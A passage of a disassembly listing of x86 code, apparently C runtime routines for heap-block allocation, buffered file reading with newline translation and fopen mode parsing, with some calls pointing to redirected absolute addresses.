		push	edi
		push	dword_4DADA0
		nop
		call	near ptr 2870000h
		cmp	eax, edi
		jz	short loc_41EB69
		add	dword_4DAD88, 10h
		mov	dword_4DAD9C, eax
		mov	eax, dword_4DAD98


loc_41EB19:				; CODE XREF: sub_41EAD6+11j
		mov	ecx, dword_4DAD9C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DADA0
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27D0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EB69
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 2650B77h
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EB6D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DADA0
		call	near ptr 27C0620h
		nop


loc_41EB69:				; CODE XREF: sub_41EAD6+30j
					; sub_41EAD6+67j
		xor	eax, eax
		jmp	short loc_41EB84
; ---------------------------------------------------------------------------


loc_41EB6D:				; CODE XREF: sub_41EAD6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DAD98
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EB84:				; CODE XREF: sub_41EAD6+95j
		pop	edi
		pop	esi
		retn
sub_41EAD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB87	proc near		; CODE XREF: sub_41E7CD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EB99:				; CODE XREF: sub_41EB87+19j
		test	eax, eax
		jl	short loc_41EBA2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EB99
; ---------------------------------------------------------------------------


loc_41EBA2:				; CODE XREF: sub_41EB87+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EBB7:				; CODE XREF: sub_41EB87+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EBB7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2650B77h
		test	eax, eax
		jnz	short loc_41EBEA
		or	eax, 0FFFFFFFFh
		jmp	loc_41EC7D
; ---------------------------------------------------------------------------


loc_41EBEA:				; CODE XREF: sub_41EB87+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EC30
		lea	eax, [edi+10h]


loc_41EBF7:				; CODE XREF: sub_41EB87+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EBF7


loc_41EC30:				; CODE XREF: sub_41EB87+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EC6D
		or	[eax+4], edi


loc_41EC6D:				; CODE XREF: sub_41EB87+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EC7D:				; CODE XREF: sub_41EB87+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC82	proc near		; CODE XREF: sub_41BB48+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41EE30
		test	bl, 1
		jnz	loc_41EE29
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41EE29
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41ECF9
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41ECF9:				; CODE XREF: sub_41EC82+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41ED49
		cmp	ecx, 20h
		jnb	short loc_41ED25
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41ED49
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41ED49
; ---------------------------------------------------------------------------


loc_41ED25:				; CODE XREF: sub_41EC82+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41ED49
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41ED49:				; CODE XREF: sub_41EC82+7Dj
					; sub_41EC82+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41EE17
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41ED83
		push	3Fh
		pop	edi


loc_41ED83:				; CODE XREF: sub_41EC82+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41EE05
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41EDDC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41EDCF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41EDCF:				; CODE XREF: sub_41EC82+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41EE01
; ---------------------------------------------------------------------------


loc_41EDDC:				; CODE XREF: sub_41EC82+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41EDF2
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41EDF2:				; CODE XREF: sub_41EC82+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41EE01:				; CODE XREF: sub_41EC82+158j
		shr	edx, cl
		or	[eax], edx


loc_41EE05:				; CODE XREF: sub_41EC82+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41EE1A
; ---------------------------------------------------------------------------


loc_41EE17:				; CODE XREF: sub_41EC82+E5j
		mov	edx, [ebp+arg_4]


loc_41EE1A:				; CODE XREF: sub_41EC82+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41EF70
; ---------------------------------------------------------------------------


loc_41EE29:				; CODE XREF: sub_41EC82+52j
					; sub_41EC82+5Cj
		xor	eax, eax
		jmp	loc_41EF73
; ---------------------------------------------------------------------------


loc_41EE30:				; CODE XREF: sub_41EC82+49j
		jge	loc_41EF70
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41EE5B
		push	3Fh
		pop	esi


loc_41EE5B:				; CODE XREF: sub_41EC82+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41EEEA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41EE74
		push	3Fh
		pop	esi


loc_41EE74:				; CODE XREF: sub_41EC82+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41EEC3
		cmp	esi, 20h
		jnb	short loc_41EE9F
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41EEC0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EEC0
; ---------------------------------------------------------------------------


loc_41EE9F:				; CODE XREF: sub_41EC82+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EEC0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EEC0:				; CODE XREF: sub_41EC82+214j
					; sub_41EC82+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41EEC3:				; CODE XREF: sub_41EC82+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41EEEA
		push	3Fh
		pop	esi


loc_41EEEA:				; CODE XREF: sub_41EC82+1DDj
					; sub_41EC82+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41EF67
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41EF3E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EF31
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41EF31:				; CODE XREF: sub_41EC82+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41EF63
; ---------------------------------------------------------------------------


loc_41EF3E:				; CODE XREF: sub_41EC82+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EF54
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41EF54:				; CODE XREF: sub_41EC82+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41EF63:				; CODE XREF: sub_41EC82+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41EF67:				; CODE XREF: sub_41EC82+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41EF70:				; CODE XREF: sub_41EC82+1A2j
					; sub_41EC82:loc_41EE30j
		push	1
		pop	eax


loc_41EF73:				; CODE XREF: sub_41EC82+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF78	proc near		; CODE XREF: sub_41BA60+A9p
					; sub_41C2CF+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F04C
		test	al, 40h
		jnz	loc_41F04C
		test	al, 2
		jz	short loc_41EF9E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F04C
; ---------------------------------------------------------------------------


loc_41EF9E:				; CODE XREF: sub_41EF78+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41EFB2
		push	esi
		call	sub_4238F7
		pop	ecx
		jmp	short loc_41EFB7
; ---------------------------------------------------------------------------


loc_41EFB2:				; CODE XREF: sub_41EF78+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41EFB7:				; CODE XREF: sub_41EF78+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F051
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F03B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F03B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F010
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41EFF9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DAA60[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41EFFE
; ---------------------------------------------------------------------------


loc_41EFF9:				; CODE XREF: sub_41EF78+6Bj
		mov	edi, offset dword_43ACE0


loc_41EFFE:				; CODE XREF: sub_41EF78+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F010
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F010:				; CODE XREF: sub_41EF78+62j
					; sub_41EF78+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F02D
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F02D
		test	ch, 4
		jnz	short loc_41F02D
		mov	dword ptr [esi+18h], 1000h


loc_41F02D:				; CODE XREF: sub_41EF78+9Fj
					; sub_41EF78+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F03B:				; CODE XREF: sub_41EF78+55j
					; sub_41EF78+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F04C:				; CODE XREF: sub_41EF78+Aj
					; sub_41EF78+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41EF78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F051	proc near		; CODE XREF: sub_41BA60+90p
					; sub_41EF78+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DAB60
		jnb	loc_41F22E
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DAA60h[eax*4]
		mov	eax, dword_4DAA60[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F22E
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F106
		test	dl, 2
		jnz	short loc_41F106
		test	dl, 48h
		jz	short loc_41F0C6
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F0C6
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F0C6:				; CODE XREF: sub_41F051+56j
					; sub_41F051+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_41F119
		call	near ptr 2680DCDh
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F101
		mov	dword_4D9714, 9
		mov	dword_4D9718, ecx
		jmp	loc_41F23F
; ---------------------------------------------------------------------------


loc_41F101:				; CODE XREF: sub_41F051+99j
		cmp	eax, 6Dh
		jnz	short loc_41F10D


loc_41F106:				; CODE XREF: sub_41F051+4Cj
					; sub_41F051+51j
		xor	eax, eax
		jmp	loc_41F242
; ---------------------------------------------------------------------------


loc_41F10D:				; CODE XREF: sub_41F051+B3j
		push	eax
		call	sub_420314
		pop	ecx
		jmp	loc_41F23F
; ---------------------------------------------------------------------------


loc_41F119:				; CODE XREF: sub_41F051+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F229
		test	edx, edx
		jz	short loc_41F13E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F13E
		or	al, 4
		jmp	short loc_41F140
; ---------------------------------------------------------------------------


loc_41F13E:				; CODE XREF: sub_41F051+E2j
					; sub_41F051+E7j
		and	al, 0FBh


loc_41F140:				; CODE XREF: sub_41F051+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F223


loc_41F158:				; CODE XREF: sub_41F051+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F213
		cmp	al, 0Dh
		jz	short loc_41F174
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F205
; ---------------------------------------------------------------------------


loc_41F174:				; CODE XREF: sub_41F051+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F192
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F189
		add	[ebp+arg_8], 2
		jmp	short loc_41F1E7
; ---------------------------------------------------------------------------


loc_41F189:				; CODE XREF: sub_41F051+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F205
; ---------------------------------------------------------------------------


loc_41F192:				; CODE XREF: sub_41F051+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	short loc_41F1BA
		nop
		call	near ptr 2680DCDh
		test	eax, eax
		jnz	short loc_41F201


loc_41F1BA:				; CODE XREF: sub_41F051+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F201
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F1DC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F1E7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F205
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41F051+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F1EC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F1EC


loc_41F1E7:				; CODE XREF: sub_41F051+136j
					; sub_41F051+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F204
; ---------------------------------------------------------------------------


loc_41F1EC:				; CODE XREF: sub_41F051+18Ej
					; sub_41F051+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422633
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F205


loc_41F201:				; CODE XREF: sub_41F051+167j
					; sub_41F051+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F204:				; CODE XREF: sub_41F051+199j
		inc	edi


loc_41F205:				; CODE XREF: sub_41F051+11Ej
					; sub_41F051+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F158
		jmp	short loc_41F223
; ---------------------------------------------------------------------------


loc_41F213:				; CODE XREF: sub_41F051+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F223
		or	al, 2
		mov	[esi], al


loc_41F223:				; CODE XREF: sub_41F051+101j
					; sub_41F051+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F229:				; CODE XREF: sub_41F051+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F242
; ---------------------------------------------------------------------------


loc_41F22E:				; CODE XREF: sub_41F051+12j
					; sub_41F051+39j
		and	dword_4D9718, 0
		mov	dword_4D9714, 9


loc_41F23F:				; CODE XREF: sub_41F051+ABj
					; sub_41F051+C3j
		or	eax, 0FFFFFFFFh


loc_41F242:				; CODE XREF: sub_41F051+B7j
					; sub_41F051+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F051	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F247	proc near		; CODE XREF: sub_41BB48+106p
					; sub_41BCAD+1Fp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4D9794
		test	eax, eax
		jz	short loc_41F25F
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F25F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F25F:				; CODE XREF: sub_41F247+7j
					; sub_41F247+12j
		xor	eax, eax
		retn
sub_41F247	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F262	proc near		; CODE XREF: sub_41BC68+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4D9900
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F29B
		cmp	al, 72h
		jz	short loc_41F294
		cmp	al, 77h
		jnz	loc_41F3AF
		mov	ecx, 301h
		jmp	short loc_41F2A0
; ---------------------------------------------------------------------------


loc_41F294:				; CODE XREF: sub_41F262+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F2A3
; ---------------------------------------------------------------------------


loc_41F29B:				; CODE XREF: sub_41F262+1Dj
		mov	ecx, 109h


loc_41F2A0:				; CODE XREF: sub_41F262+30j
		or	esi, 2


loc_41F2A3:				; CODE XREF: sub_41F262+37j
		push	1
		pop	edx


loc_41F2A6:				; CODE XREF: sub_41F262+8Bj
					; sub_41F262+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F395
		cmp	edx, ebx
		jz	loc_41F395
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F334
		jz	short loc_41F324
		sub	eax, 2Bh
		jz	short loc_41F30E
		sub	eax, 19h
		jz	short loc_41F304
		sub	eax, 0Eh
		jz	short loc_41F2EF
		dec	eax
		jnz	loc_41F386
		cmp	[ebp+var_4], ebx
		jnz	loc_41F386
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F2EF:				; CODE XREF: sub_41F262+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F386
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F304:				; CODE XREF: sub_41F262+6Aj
		test	cl, 40h
		jnz	short loc_41F386
		or	ecx, 40h
		jmp	short loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F30E:				; CODE XREF: sub_41F262+65j
		test	cl, 2
		jnz	short loc_41F386
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F324:				; CODE XREF: sub_41F262+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F386
		or	ecx, eax
		jmp	loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F334:				; CODE XREF: sub_41F262+5Ej
		sub	eax, 62h
		jz	short loc_41F381
		dec	eax
		jz	short loc_41F36A
		sub	eax, 0Bh
		jz	short loc_41F353
		sub	eax, 6
		jnz	short loc_41F386
		test	ch, 0C0h
		jnz	short loc_41F386
		or	ch, 40h
		jmp	loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F353:				; CODE XREF: sub_41F262+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F386
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F36A:				; CODE XREF: sub_41F262+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F386
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F381:				; CODE XREF: sub_41F262+D5j
		test	ch, 0C0h
		jz	short loc_41F38D


loc_41F386:				; CODE XREF: sub_41F262+72j
					; sub_41F262+7Bj ...
		xor	edx, edx
		jmp	loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F38D:				; CODE XREF: sub_41F262+122j
		or	ch, 80h
		jmp	loc_41F2A6
; ---------------------------------------------------------------------------


loc_41F395:				; CODE XREF: sub_41F262+4Aj
					; sub_41F262+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42393B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F3B3


loc_41F3AF:				; CODE XREF: sub_41F262+25j
		xor	eax, eax
		jmp	short loc_41F3CD
; ---------------------------------------------------------------------------


loc_41F3B3:				; CODE XREF: sub_41F262+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4D98FC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F3CD:				; CODE XREF: sub_41F262+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F262	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F3D2	proc near		; CODE XREF: sub_41BC68p
		mov	edx, dword_4DAA40
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F443
		mov	ebx, dword_4D9A30
		mov	edi, ebx


loc_41F3EE:				; CODE XREF: sub_41F3D2+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F409
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F404
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F3EE
		jmp	short loc_41F443
; ---------------------------------------------------------------------------


loc_41F404:				; CODE XREF: sub_41F3D2+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F42D
